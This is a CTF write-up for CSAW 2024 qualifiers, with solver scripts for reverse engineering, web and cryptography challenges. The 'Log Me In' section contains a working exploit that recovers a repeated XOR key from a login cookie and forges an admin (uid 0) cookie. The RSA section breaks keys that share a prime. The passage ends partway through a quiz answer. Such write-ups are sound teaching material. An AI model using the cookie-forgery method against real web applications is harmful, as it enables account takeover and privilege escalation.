CSAW CTF 2024 Quals - LostMyPlaintext

Writeups for some of the challenges from this years CSAW CTF.


Categories:


Reverse Engineering


Baby Rev

For this challenge we're given a single binary executable that takes in a string and seems to tell you if the provided string is the flag or not.

First thing I do on every "baby" reverse engineering challenge is a sanity check: run the strings tool on the binary to make sure the challenge isn't as simple as finding the flag plainely writen in the midst of the binary file.

The strings command produces, among other things, the following output:

Part of this seems strangely similar to base64 encoding, however, there is an extra "H" letter after the equal signs, which ruins the padding. Turns out, if you remove all the "H"s you see here and base64 decode the result you get the flag so I guess the lesson here is always run strings on baby rev challenges. A quick python script gets us our first flag for some easy points!

import base64

strangeString = '''Y3Nhd2N0H
ZntOM3YzH
cl9wcjA3H
M2M3X3MzH
bnMxNzF2H
M18xbmYwH
cm00NzEwH
bl91czFuH
Z19qdXM3H
XzNuYzBkH
MW5nIV8jH
M25jMGQxH
bmdfMXNfH
bjB0XzNuH
Y3J5cDcxH
MG4hfQ==H'''

flagb64 = ""
for line in strangeString.split('\n'):
	flagb64 += line[:-1]

print (base64.b64decode(flagb64.encode()).decode())

Flag: "csawctf{N3v3r_pr073c7_s3ns171v3_1nf0rm4710n_us1ng_jus7_3nc0d1ng!_#3nc0d1ng_1s_n0t_3ncryp710n!}"

Magic Tricks

For the other reverse challenge I looked at we get an output file with some gibberish data, and a binary executalbe (surprise, surprise).

The executable asks for a a string and writes the result (usually gibberish) to an output file. First thing I did was to attempt a dynamic analysis approach to this, which (spoilers) ended up being enough to solve the challenge. I started by sending what we know is the begining of the flag multiple times.

And got promising results

Not only does it seem like there is a repeating pattern indicating that this is some sort of simple encoding where each character corresponds to a specific sequence of bytes but also this matches the begining of the output for the provided output file. From here I wrote a script to match the encoding output to it's respective letter and then used it to translate the contents of the original output file, gettting the flag.

from binascii import hexlify
from pwn import *
from time import sleep

toSend = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&()*+,-./:;<=>?@[\\]^_{|}~"
dic = {}

for i in range(len(toSend)):
	r = process("./chall")
	r.recvuntil("Enter data:")
	print ("Sending:", toSend[i])
	r.sendline(toSend[i])
	sleep(3)
	cur = b""
	with open("output.txt", "rb") as file:
		cur = hexlify(file.read())
		print ("Result from program:", cur)
	dic[cur.decode()] = toSend[i]
	r.close()


# First Attempt
#originalOutput = ['c2a8', 'c388', 'c2a2', 'c390', 'c2a8', 'c389', 'c2af', 'c398', 'c389', '716a', 'c2a0', 'c387', 'c38a', 'c2bf', '6a4a', 'c2a0', '62c3', '876a', 'c2a0', '5071', '48c2', 'a0c2', 'b848', 'c392', 'c2a0', '50c2', '80c2', 'a0c3', '89c2', 'b148', 'c2a0', '7041', 'c381', 'c2b1', '48c3', '874a', 'c2a0', 'c2ba', '6252', '4268', 'c39a']

#for c in originalOutput:
#	try:
#		print(dic[c],end="")
#	except:
#		print("#",end="")
#print("")
# Output: csawctf#t#_run#_##_####y_#####_#ph##_m###

originalOutput = ['c2', 'a8', 'c3', '88', 'c2', 'a2', 'c3', '90', 'c2', 'a8', 'c3', '89', 'c2', 'af', 'c3', '98', 'c3', '89', '71', '6a', 'c2', 'a0', 'c3', '87', 'c3', '8a', 'c2', 'bf', '6a', '4a', 'c2', 'a0', '62', 'c3', '87', '6a', 'c2', 'a0', '50', '71', '48', 'c2', 'a0', 'c2', 'b8', '48', 'c3', '92', 'c2', 'a0', '50', 'c2', '80', 'c2', 'a0', 'c3', '89', 'c2', 'b1', '48', 'c2', 'a0', '70', '41', 'c3', '81', 'c2', 'b1', '48', 'c3', '87', '4a', 'c2', 'a0', 'c2', 'ba', '62', '52', '42', '68', 'c3', '9a']
for i in range(len(originalOutput)):
	try:
		curTry = originalOutput[i]
		if curTry in dic:
			print(dic[curTry],end="")
		else:
			curTry += originalOutput[i+1]
			print(dic[curTry],end="")
			i += 1
	except:
		pass
print("")

flag: "csawctf{tHE_runE5_ArE_7H3_k3y_7O_th3_G0ph3r5_mA91C}"


Web


Log Me In

In this challenge we are presentes with a simple web app that allows us to register a username and passowrd, log in and access a welcome page.

Looking at the source code, particularly the code for the "/user" endpoint we see that the message in the welcome page will display the flag if our user cookie satisfies the conditon uid == 0. From the "/login" endpoint we see that out account cookie will be an encoded version of something looking like "{'username':[OUR USERNMAE], 'displays':[OUR DISPLAY NAME], 'uid':1}" since the uid of each user is always set to 1 on "/register".

from flask import make_response, session, Blueprint, request, jsonify, render_template, redirect, send_from_directory
from pathlib import Path
from hashlib import sha256
from utils import is_alphanumeric
from models import Account, db
from utils import decode, encode

flag = (Path(__file__).parent / "flag.txt").read_text()

pagebp = Blueprint('pagebp', __name__)

@pagebp.route('/')
def index():
    return send_from_directory("static", 'index.html')

@pagebp.route('/login', methods=["GET", "POST"])
def login():
    if request.method != 'POST':
        return send_from_directory('static', 'login.html')
    username = request.form.get('username')
    password = sha256(request.form.get('password').strip().encode()).hexdigest()
    if not username or not password:
        return "Missing Login Field", 400
    if not is_alphanumeric(username) or len(username) > 50:
        return "Username not Alphanumeric or longer than 50 chars", 403
    # check if the username already exists in the DB
    user = Account.query.filter_by(username=username).first()
    if not user or user.password != password:
        return "Login failed!", 403
    user = {
        'username':user.username,
        'displays':user.displayname,
        'uid':user.uid
    }
    token = encode(dict(user))
    if token == None:
        return "Error while logging in!", 500
    response = make_response(jsonify({'message': 'Login successful'}))
    response.set_cookie('info', token, max_age=3600, httponly=True)
    return response

@pagebp.route('/register', methods=['GET', 'POST'])
def register():
    if request.method != 'POST':
        return send_from_directory('static', 'register.html')
    username = request.form.get('username')
    password = sha256(request.form.get('password').strip().encode()).hexdigest()
    displayname = request.form.get('displayname')
    if not username or not password or not displayname:
        return "Missing Registration Field", 400
    if not is_alphanumeric(username) or len(username) > 50:
        return "Username not Alphanumeric or it is longer than 50 chars", 403
    if not is_alphanumeric(displayname) or len(displayname) > 50:
        return "Displayname not Alphanumeric or it is longer than 50 chars", 403
    # check if the username already exists in the DB
    user = Account.query.filter_by(username=username).first()
    if user:
        return "Username already taken!", 403
    acc = Account(
        username=username, 
        password=password, 
        displayname=displayname,
        uid=1
        )
    try:
        # Add the new account to the session and commit it
        db.session.add(acc)
        db.session.commit()
        return jsonify({'message': 'Account created successfully'}), 201
    except Exception as e:
        db.session.rollback()  # Roll back the session on error
        return jsonify({'error': str(e)}), 500



@pagebp.route('/user')
def user():
    cookie = request.cookies.get('info', None)
    name='hello'
    msg='world'
    if cookie == None:
        return render_template("user.html", display_name='Not Logged in!', special_message='Nah')
    userinfo = decode(cookie)
    if userinfo == None:
        return render_template("user.html", display_name='Error...', special_message='Nah')
    name = userinfo['displays']
    msg = flag if userinfo['uid'] == 0 else "No special message at this time..."
    return render_template("user.html", display_name=name, special_message=msg)

@pagebp.route('/logout')
def logout():
    session.clear()
    response = make_response(redirect('/'))
    response.set_cookie('info', '', expires=0)
    return response

To figure out how this encoding works exactly we keep digging through the source code and find the following:

import re
from Crypto.Util.Padding import pad, unpad
import json
import os


def is_alphanumeric(text):
    pattern = r'^[a-zA-Z0-9]+$'
    if re.match(pattern, text):
        return True
    else:
        return False
    
def LOG(*args, **kwargs):
    print(*args, **kwargs, flush=True)


# Some cryptographic utilities
def encode(status: dict) -> str:
    try:
        plaintext = json.dumps(status).encode()
        out = b''
        for i,j in zip(plaintext, os.environ['ENCRYPT_KEY'].encode()):
            out += bytes([i^j])
        return bytes.hex(out)
    except Exception as s:
        LOG(s)
        return None

def decode(inp: str) -> dict:
    try:
        token = bytes.fromhex(inp)
        out = ''
        for i,j in zip(token, os.environ['ENCRYPT_KEY'].encode()):
            out += chr(i ^ j)
        user = json.loads(out)
        return user
    except Exception as s:
        LOG(s)
        return None

The encryption here is quite simple, it's either a one time pad

(which intuitively seems more likely) or a repeated key xor</p>. Either way we have a way to recover enough of the key to solve the challenge. In both cases our decoded cookie is being Xored with the encryption key. Although we are limited to 50 characters if we register a user with a long username (let’s say “AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA” for example) we know the corresponding cookie will be an encoding of “{‘username’:’AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA’,…”, i.e. this string will get xored with the key. So to recover part of the key all we need to do is xor our unencoded token with the encoded result (since A xor B = C implies A xor C = B). Then we register a smaller username and the part of the key we recover will be more than enough to manually encode a custom cookie with uid = 0.

from os import urandom
import requests

s = requests.Session()

url = "https://logmein1.ctf.csaw.io"

user = bytes.hex(urandom(4))
print("Current User:", user)
password = bytes.hex(urandom(4))
print("Current Password:", password)
display = user
print("Current Display Name:", display)

r1 = s.post(url + "/register", data = {"username":user, "password":password, "displayname":display})
print (r1.text)

r2 = s.post(url + "/login", data = {"username":user, "password":password })
print (r2.text)
print (r2.cookies.get_dict())

#print("-----------------------------")
#curCookie = bytes.fromhex(r2.cookies.get_dict()['info'])
#sent=b"{'username':"+user.encode()+b","
#key=b''
#for i in range(len(sent)):
#	tmp = sent[i] ^ curCookie[i]
#	key += bytes.fromhex(hex(tmp)[2:].rjust(2,'0'))
#key = bytes.hex(key)
#print ("Found partial key:", key)

key = '3340394454703830454a4670011876526438726742616377773769745452337367396d71474b7878716b745a4f707278414e4a69584679513556357a23'

def decode(text,key):
	assert len(text) <= len(key)
	pt = b''
	for i in range(len(text)):
		tmp = key[i] ^ text[i]
		pt += bytes.fromhex(hex(tmp)[2:].rjust(2,'0'))
	return pt.decode()


curCookie = bytes.fromhex(r2.cookies.get_dict()['info'])
byteKey = bytes.fromhex(key)
toEdit = decode(curCookie,byteKey)
print("\nDecoded cookie:", toEdit)

newCookie = toEdit[:-2] + "0" + toEdit[-1:]
print ("\nNew cookie:", newCookie)

newCookieEncoded = bytes.hex(decode(newCookie.encode(),byteKey).encode())

print ("\nNew cookie encoded:", newCookieEncoded)

flag: "csawctf{S3NS1T1V3_D4T4_ST0R3D_CL13NTS1D3D_B4D_B4D}"


Cryptography


HexHex

For this challenge we get a huge file with mostly hex encoded text. There are two strings that jump out since they seem to use some other type of encoding. Looking at the same and description of the challenge we can guess that a Twin Hex Cipher has been used on the two strings. Throwing them in a Twin Hex Cipher decoder gets us the flag.

flag:"csawctf{hex3d_i7_w3l7_innit_hehe}"


Trapdoor

In this challenge we get two "public_key" files and two encrypted message files. Within the public key files we have the tipical RSA public exponent e = 65537 and two n values, let's call them n1 and n2. First thing I did was check if the greatest common dividor of n1 and n2 is different than 1. If so this means the same prime p has been used as a private parameter for both keys and since calculating the GCD of large numbers is easy we can break the RSA encryption and retrieve the messages.

import binascii

c1 = 161657267735196834912863135763588255051084768060167522685145600975477606522389267911595494255951389308603585891670155516473228040572472139266242046480464411011926872432857745283026840801445383620653451687523682849171134262795620963422201106957732644189004161198543408780876818402717692426183521358742475772803427948145681912577138151854201287217310388360035006450255979612146528569192238510701666997268424852524879191797074298541592238357746219444160311336448978081899531731524195638715227224903445226248602579764214997719090230906191407229446647313099400956970509035654967405630240939959592998616003498236942092817559461000588623573048030445521863492730870242644395352424593752773001495951737895664115609421618170689951704330184048125307163740226054228480085636314748554185748105182003072934516641741388554856693783207538862673881733984454590126630762754413784860309730736733101522402317095930278893263812433036953457501549714213711757368647750210251899325644773678135753158374375837529620580830355398764871600754340989211159192515899566042173210432362519000596760898915443009768635625263875643978408948502726014770826616858752941269838500371205265923373317700072776319154266968103160778573051363936325056002056286215658714259892131
c2 = 494623168173341363340467373358957745383595056417571755948370162317759417390186160270770025384341351293889439841723113891870589515038055355274713359875028285461281491108349357922761267441245606066321766119545935676079271349094728585175909045924367012097484771776396598141703907624715907730873180080611197080012999970125893693838478647963157490065546947042621326070901482489910203413759703603136944502613002083194569025640046380564488058425650504612206627739749051853591610981053026318569730551988841304231276711969977298162726941928222523464544797141812329957714866356009363861914935745207975118182966833811723664044706845207847731129336219505772833893718601825819419057471717431953601897992835582033908346998397116046369365580899868759006665351628889935594587647946796811554073758809039163703319444890860711787316692186294350180062910771860180483152240985537326837665737974072086105081591429007858987697382766650868798693024212101169297652870122729568327958629779258375463408029863902774673729692698603549762248768090302360950262068792179771304874203556781584256503067131440856389473604578859795120178476492827306744971082872861030028803971595639553063854220185280566575307797482645881434704155764917254239587927218075951473385530833

e = 65537

n1 = 537269810177819460077689661554997290782982019008162377330038831815573146869875494409546502741769078888560119836988893807659619131795600022996155542011901767164659622251852771410530047820953404275439162903782253582402317577272023052873061733154947413969140900242586288282386516940748102303139488999388815366805771566027048823971232923901589854972341140497344922557809346957285480088567527430942352224246175865278666886538920772608403444601667114300055814252644535406924681931233694920723837668899531758291081568304763353729111948368345349994099868469305792181073122419940610781784779666456780500932337154438538720823939250386789917476722260336949625831449027815346423132208841389383282133423240342633209093536658578807788187537292687621305485734565276685038174693348234827761258142100019798785254244633108887403538365377022084266245064851786520352683721896084403163679116876924559581709943841877168418550922700610256010165841228197765129411475811684669156709601802234298096100301516880419138890353002776631827361005170877640327516465104169299292924318171783865084478980121378972145656688829725118773293892358855082049175572479466474304782889913529927629420886850515337785270820884245044809646784251398955378537462225157041205713008379
n2 = 675112413040615754855341368347991520700645749707972662375138119848808538466484973026629442817490775679486087477873647170707728077849174294413106449041183548981099164777126469098349759962366886352375485394430924686294932854410357033579891793697466117311282071223849125728247324019661552591602816412461639181036083039951358738639409104870090776274099206184327026885209301129700589120263558741373320717866973004474880824451611558352986814186406024139122101780061421498582804842387331594088633719788918481809465044314609904522824483927173924396330723272200351268059583559155873089840203176526189465332287149408627146863937339106591410131104971158916770664709755851365697530033135116269758729627681863469646687585133174854282299126206393656205822175860114547244407037919126445577158000448033562711159480289599400271620922791664179514807098083591794558148460941940996477066832640360820650342057071277962750427121243576612067919616033880922920641430414655749007393524344586517489346008845986135281381956392366857764758769758991862758292829265731964283719870708510272500471228442964550074672417445262035130720875562744233719280755235051883245392409892775011413342074824090752055820699150296553380118608786447588243723987854862785887828651597

def gcd(a,b):
	while(b):
		a, b = b, a%b
	return a 

p = gcd(n1,n2)
print("GDC of n1 and n2:", p)

q1 = n1//p
q2 = n2//p

# Sanity check
assert p*q1 == n1
assert p*q2 == n2

phin_1 = (p-1)*(q1-1)
phin_2 = (p-1)*(q2-1)

d1 = pow(e,-1,phin_1)
d2 = pow(e,-1,phin_2)

m1 = pow(c1,d1,n1)
m2 = pow(c2,d2,n2)

print(binascii.unhexlify('0'+hex(m1)[2:]).decode())
print(binascii.unhexlify(hex(m2)[2:]).decode())

flag:"csawctf{n0_p0lyn0m1al_t1m3_f4ct0r1ng_n33d3d_t0_0p3n_th1s_tr4pd00r!}"

Diffusion Pop Quiz

For this challenge we are given the following file and a url to a server to connect to.

# To ensure correctly formatted answers for the challenge, use 1-indexed values for the output bits.
# For example, if you have an S-Box of 8 bits to 8 bits, the first output bit is 1, the second is 2, and so forth.
# Your ANF expression will have the variables y1, y2, ..., y8.

# Put your S-Boxes here.

example = [1, 0, 0, 0, 1, 1, 1, 0]

# 3 input bits: 000, 001, 010, 011, 100, 101, 110, 111
# Array indexes: 0    1    2    3    4    5    6    7
# f(x1,x2,x3):   0    1    0    0    0    1    1    1

# Customize the following settings to extract specific bits of specific S-Boxes and have a comfortable visualization of terms.

SYMBOL = 'x'
INPUT_BITS = 3
OUTPUT_BITS = 1
SBOX = example
BIT = 1

# Ignore the functions, we've implemented this for you to save your time.
# Don't touch it, it might break and we don't want that, right? ;)

def get_sbox_result(input_int):
    return SBOX[input_int]

def get_term(binary_string):
    term = ""
    i = 1
    for (count,bit) in enumerate(binary_string):
        if bit == "1":
            term += SYMBOL+str(i)+"*"
        i += 1

    if term == "":
        return "1"

    return term[:-1]

def get_poly(inputs, outputs):
    poly = ""
    for v in inputs:
        if outputs[v]:
            poly += get_term(v) + "+"
    return poly[:-1]

def should_sum(u, v, n):
    for i in range(n):
        if u[i] > v[i]:
            return False

    return True

def get_as(vs, f, n):
    a = {}
    for v in vs:
        a[v] = 0
        for u in vs:
            if should_sum(u, v, n):
                a[v] ^= f[u]

    return a

def get_anf(vs, f, n):
    return get_poly(vs, get_as(vs, f, n))

def get_vs_and_fis_from_sbox(which_fi):
    vs = []
    fis = {}
    for input_integer in range(2**INPUT_BITS):
        sbox_output = get_sbox_result(input_integer)
        input_integer_binary = bin(input_integer)[2:].zfill(INPUT_BITS)
        fis[input_integer_binary] = 0
        sbox_output_binary = bin(sbox_output)[2:].zfill(OUTPUT_BITS)

        vs.append(input_integer_binary)
        fis[input_integer_binary] = int(sbox_output_binary[which_fi-1])

    return vs, fis

def get_anf_from_sbox_fi(which_fi):
    vs, fis = get_vs_and_fis_from_sbox(which_fi)
    poly = get_anf(vs, fis, INPUT_BITS)
    return poly

output = get_anf_from_sbox_fi(BIT)
print(output)

When connecting to the server we are presented with a series of questions about diffusion and s-boxes. Answering all of them correctly will give us the flag. For the first question we have to decrypt a simple Ceaser Cipher and for the second one we are asked for the last entry in the AES s-box, which after a quick google search we can find out is "0x16". From here on out the questions mostly boil down to editing the global variables in the provided script. I left notes on my solver script about what specific questions were asking for and the state of the variables in the provided script:

from pwn import *
from time import sleep

letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

r = remote(b"diffusion-pop-quiz.ctf.csaw.io", 5000)

# Question 1

dict = {}

r.recvuntil("Can you decrypt this? ")

cipherText = r.recvline()[4:-5].decode()
print ("Current ciphertext:", cipherText)

for letter in letters:
	r.recvuntil("What would you like to encrypt?")
	r.sendline(letter)
	print("Sending:", letter)
	#sleep(0.2)
	r.recvuntil("Here is your encrypted text: ")
	#sleep(0.2)
	ct = r.recvline()[4:-5].decode()
	print ("Corresponding ciphertext:", ct)
	r.recvuntil("Would you like to continue? (yes/no)")
	r.sendline("yes")
	#sleep(0.2)
	dict[ct] = letter
r.sendline("A")
r.sendline("no")

print("Dictionary for Stage 1 completed:",dict)

plaintext = ""
for c in cipherText:
	if c != " ":
		plaintext += dict[c]
	else:
		plaintext += " "

print ("Plaintext for Stage 1 found:", plaintext) # Diffusion matters a lot

curQuestion = 1

#r.recvuntil("What was the original text?")
print ("Sending answer for question",curQuestion)
curQuestion += 1
sleep(0.2)
r.sendline(plaintext)


# Question 2
print ("Sending answer for question",curQuestion)
curQuestion += 1
sleep(0.2)
r.sendline("0x16")


# Question 3

# State of the ANF script varibles:
# INPUT_BITS = 3
# OUTPUT_BITS = 1
# SBOX = [0b0,0b1,0b0,0b0,0b0,0b1,0b1,0b1]
# BIT = 1

print ("Sending answer for question",curQuestion)
curQuestion += 1
sleep(0.2)
r.sendline("x3+x2*x3+x1*x2")


# Question 4

# State of the ANF script varibles:
# INPUT_BITS = 3
# OUTPUT_BITS = 2
# SBOX = [0b01,0b10,0b00,0b00,0b01,0b11,0b11,0b10]
# BIT = 1


print ("Sending answer for question",curQuestion)
curQuestion += 1
sleep(0.2)
r.sendline("x3+x2*x3+x1*x2")


# Question 5

# State of the ANF script varibles:
# INPUT_BITS = 3
# OUTPUT_BITS = 2
# SBOX = [0b01,0b10,0b00,0b00,0b01,0b11,0b11,0b10]
# BIT = 2

print ("Sending answer for question",curQuestion)
curQuestion += 1
sleep(0.2)
r.sendline("1+x3+x2+x2*x3+x1*x3+x1*x2")

# Question 6

# From here on out we're given 3 big s-boxes to use
# sbox1 = [1, 45, 226, 147, 190, 69, 21, 174, 120, 3, 135, 164, 184, 56, 207, 63, 8, 103, 9, 148, 235, 38, 168, 107, 189, 24, 52, 27, 187, 191, 114, 247, 64, 53, 72, 156, 81, 47, 59, 85, 227, 192, 159, 216, 211, 243, 141, 177, 255, 167, 62, 220, 134, 119, 215, 166, 17, 251, 244, 186, 146, 145, 100, 131, 241, 51, 239, 218, 44, 181, 178, 43, 136, 209, 153, 203, 140, 132, 29, 20, 129, 151, 113, 202, 95, 163, 139, 87, 60, 130, 196, 82, 92, 28, 232, 160, 4, 180, 133, 74, 246, 19, 84, 182, 223, 12, 26, 142, 222, 224, 57, 252, 32, 155, 36, 78, 169, 152, 158, 171, 242, 96, 208, 108, 234, 250, 199, 217, 0, 212, 31, 110, 67, 188, 236, 83, 137, 254, 122, 93, 73, 201, 50, 194, 249, 154, 248, 109, 22, 219, 89, 150, 68, 233, 205, 230, 70, 66, 143, 10, 193, 204, 185, 101, 176, 210, 198, 172, 30, 65, 98, 41, 46, 14, 116, 80, 2, 90, 195, 37, 123, 138, 42, 91, 240, 6, 13, 71, 111, 112, 157, 126, 16, 206, 18, 39, 213, 76, 79, 214, 121, 48, 104, 54, 117, 125, 228, 237, 128, 106, 144, 55, 162, 94, 118, 170, 197, 127, 61, 175, 165, 229, 25, 97, 253, 77, 124, 183, 11, 238, 173, 75, 34, 245, 231, 115, 35, 33, 200, 5, 225, 102, 221, 179, 88, 105, 99, 86, 15, 161, 49, 149, 23, 7, 58, 40]
# sbox2 = [152, 158, 42, 231, 197, 251, 250, 79, 39, 1, 96, 57, 146, 137, 178, 133, 170, 32, 212, 154, 73, 97, 78, 7, 204, 218, 9, 195, 88, 149, 71, 235, 199, 247, 211, 124, 33, 0, 219, 185, 77, 2, 81, 201, 164, 224, 76, 102, 69, 198, 181, 20, 28, 210, 147, 115, 226, 180, 80, 189, 150, 46, 166, 171, 248, 37, 227, 21, 13, 63, 228, 216, 191, 143, 103, 40, 184, 121, 246, 207, 61, 26, 98, 249, 174, 156, 155, 10, 176, 44, 123, 114, 100, 240, 70, 130, 188, 104, 252, 126, 15, 131, 239, 234, 122, 229, 134, 214, 31, 8, 127, 236, 65, 208, 255, 128, 93, 190, 83, 135, 47, 183, 22, 173, 112, 241, 106, 186, 53, 49, 193, 64, 237, 36, 16, 153, 94, 92, 165, 203, 116, 144, 12, 138, 172, 177, 5, 202, 215, 56, 66, 117, 132, 142, 59, 209, 17, 11, 27, 206, 151, 111, 162, 87, 225, 161, 159, 160, 244, 108, 67, 243, 253, 196, 140, 51, 107, 113, 84, 230, 118, 34, 220, 89, 6, 68, 213, 163, 58, 141, 221, 200, 54, 23, 182, 217, 14, 24, 222, 60, 62, 110, 38, 55, 74, 129, 50, 148, 72, 167, 136, 35, 30, 109, 205, 90, 238, 29, 194, 254, 41, 187, 85, 82, 101, 119, 192, 145, 157, 125, 223, 19, 4, 175, 45, 139, 232, 18, 86, 179, 95, 245, 91, 99, 105, 48, 120, 168, 3, 43, 233, 75, 25, 242, 52, 169]
# sbox3 = [99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216, 49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179, 41, 227, 47, 132, 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88, 207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2, 127, 80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, 188, 182, 218, 33, 16, 255, 243, 210, 205, 12, 19, 236, 95, 151, 68, 23, 196, 167, 126, 61, 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238, 184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36, 92, 194, 211, 172, 98, 145, 149, 228, 121, 231, 200, 55, 109, 141, 213, 78, 169, 108, 86, 244, 234, 101, 122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, 232, 221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102, 72, 3, 246, 14, 97, 53, 87, 185, 134, 193, 29, 158, 225, 248, 152, 17, 105, 217, 142, 148, 155, 30, 135, 233, 206, 85, 40, 223, 140, 161, 137, 13, 191, 230, 66, 104, 65, 153, 45, 15, 176, 84, 187, 22]

# State of the ANF script varibles:
# INPUT_BITS = 8
# OUTPUT_BITS = 8
# SBOX = sbox1
# BIT = 3

print ("Sending answer for question",curQuestion)
curQuestion += 1
sleep(0.2)
r.sendline("x8+x7+x6+x5+x5*x6+x5*x6*x8+x5*x6*x7*x8+x4*x7+x4*x7*x8+x4*x6*x8+x4*x6*x7*x8+x4*x5*x7*x8+x4*x5*x6*x8+x3*x7+x3*x7*x8+x3*x6+x3*x6*x7+x3*x6*x7*x8+x3*x5*x7+x3*x5*x6*x8+x3*x5*x6*x7*x8+x3*x4+x3*x4*x8+x3*x4*x7+x3*x4*x7*x8+x3*x4*x6+x3*x4*x6*x7+x3*x4*x6*x7*x8+x3*x4*x5*x8+x3*x4*x5*x7*x8+x3*x4*x5*x6*x8+x3*x4*x5*x6*x7*x8+x2+x2*x8+x2*x7+x2*x7*x8+x2*x6+x2*x6*x7*x8+x2*x5*x7*x8+x2*x5*x6+x2*x5*x6*x8+x2*x4+x2*x4*x7*x8+x2*x4*x6*x7+x2*x4*x5*x8+x2*x4*x5*x6+x2*x4*x5*x6*x8+x2*x4*x5*x6*x7+x2*x3+x2*x3*x8+x2*x3*x7+x2*x3*x7*x8+x2*x3*x6*x7*x8+x2*x3*x5+x2*x3*x5*x8+x2*x3*x5*x7+x2*x3*x5*x6+x2*x3*x4+x2*x3*x4*x8+x2*x3*x4*x6*x8+x2*x3*x4*x6*x7*x8+x2*x3*x4*x5*x7+x1*x8+x1*x7+x1*x7*x8+x1*x6+x1*x6*x8+x1*x6*x7+x1*x6*x7*x8+x1*x5+x1*x5*x8+x1*x5*x7+x1*x5*x7*x8+x1*x5*x6+x1*x5*x6*x8+x1*x5*x6*x7+x1*x5*x6*x7*x8+x1*x4+x1*x4*x8+x1*x4*x7+x1*x4*x7*x8+x1*x4*x6+x1*x4*x6*x8+x1*x4*x6*x7+x1*x4*x6*x7*x8+x1*x4*x5+x1*x4*x5*x8+x1*x4*x5*x7+x1*x4*x5*x7*x8+x1*x4*x5*x6+x1*x4*x5*x6*x8+x1*x4*x5*x6*x7+x1*x4*x5*x6*x7*x8+x1*x3*x5*x8+x1*x3*x5*x7*x8+x1*x3*x5*x6*x8+x1*x3*x5*x6*x7*x8+x1*x3*x4*x5*x8+x1*x3*x4*x5*x7*x8+x1*x3*x4*x5*x6*x8+x1*x3*x4*x5*x6*x7*x8+x1*x2+x1*x2*x8+x1*x2*x7+x1*x2*x7*x8+x1*x2*x6+x1*x2*x6*x8+x1*x2*x6*x7+x1*x2*x6*x7*x8+x1*x2*x5+x1*x2*x5*x8+x1*x2*x5*x7+x1*x2*x5*x7*x8+x1*x2*x5*x6+x1*x2*x5*x6*x8+x1*x2*x5*x6*x7+x1*x2*x5*x6*x7*x8+x1*x2*x4*x5*x6*x7*x8+x1*x2*x3*x5*x8+x1*x2*x3*x5*x7*x8+x1*x2*x3*x4*x5*x6*x8")

# Question 7

# Here we get asked what input bits is the previous answer dependet on.
# To which the answer is all of them

print ("Sending answer for question",curQuestion)
curQuestion += 1
sleep(0.2)
r.sendline("x1,x2,x3,x4,x5,x6,x7,x8")

# Question 8

# Here we get asked if output bit 3 of sbox1 (i.e. answer to Question 6) achieve complete diffusion with respect to the input bits. Which it does since it depends on all input bits.

print ("Sending answer for question",curQuestion)
curQuestion += 1
sleep(0.2)
r.sendline("yes")

# Question 9

# Similar to Question 6

print ("Sending answer for question",curQuestion)
curQuestion += 1
sleep(0.2)
r.sendline("x7*x8+x6+x6*x7*x8+x5*x7+x5*x6+x5*x6*x7+x4*x7+x4*x6*x7+x4*x6*x7*x8+x4*x5+x4*x5*x7+x4*x5*x6*x8+x4*x5*x6*x7+x3+x3*x7*x8+x3*x6*x7+x3*x5*x8+x3*x5*x7+x3*x5*x7*x8+x3*x5*x6+x3*x5*x6*x7+x3*x5*x6*x7*x8+x3*x4*x6*x8+x3*x4*x6*x7+x3*x4*x5+x3*x4*x5*x7*x8+x3*x4*x5*x6*x8+x3*x4*x5*x6*x7*x8+x2+x2*x8+x2*x7*x8+x2*x6*x8+x2*x6*x7+x2*x6*x7*x8+x2*x5+x2*x5*x8+x2*x5*x7*x8+x2*x4+x2*x4*x8+x2*x4*x6+x2*x4*x6*x8+x2*x4*x6*x7+x2*x4*x6*x7*x8+x2*x4*x5*x8+x2*x4*x5*x7*x8+x2*x4*x5*x6*x8+x2*x4*x5*x6*x7*x8+x2*x3*x7+x2*x3*x6+x2*x3*x6*x7*x8+x2*x3*x5*x8+x2*x3*x5*x6+x2*x3*x5*x6*x8+x2*x3*x5*x6*x7*x8+x2*x3*x4*x6+x2*x3*x4*x6*x7+x2*x3*x4*x5*x7+x2*x3*x4*x5*x7*x8+x2*x3*x4*x5*x6*x8+x2*x3*x4*x5*x6*x7+x1*x7+x1*x7*x8+x1*x6*x8+x1*x5+x1*x5*x7+x1*x5*x7*x8+x1*x5*x6*x7+x1*x5*x6*x7*x8+x1*x4*x7*x8+x1*x4*x6*x7+x1*x4*x5*x7+x1*x4*x5*x7*x8+x1*x4*x5*x6*x7+x1*x4*x5*x6*x7*x8+x1*x3+x1*x3*x8+x1*x3*x7+x1*x3*x7*x8+x1*x3*x6*x8+x1*x3*x5*x7+x1*x3*x5*x6+x1*x3*x5*x6*x7+x1*x3*x5*x6*x7*x8+x1*x3*x4+x1*x3*x4*x8+x1*x3*x4*x7+x1*x3*x4*x7*x8+x1*x3*x4*x6+x1*x3*x4*x6*x7*x8+x1*x3*x4*x5*x7+x1*x3*x4*x5*x6+x1*x2+x1*x2*x8+x1*x2*x7+x1*x2*x6+x1*x2*x5*x6*x7*x8+x1*x2*x4*x7*x8+x1*x2*x4*x6*x8+x1*x2*x4*x5+x1*x2*x4*x5*x7+x1*x2*x4*x5*x6+x1*x2*x4*x5*x6*x8+x1*x2*x4*x5*x6*x7+x1*x2*x4*x5*x6*x7*x8+x1*x2*x3+x1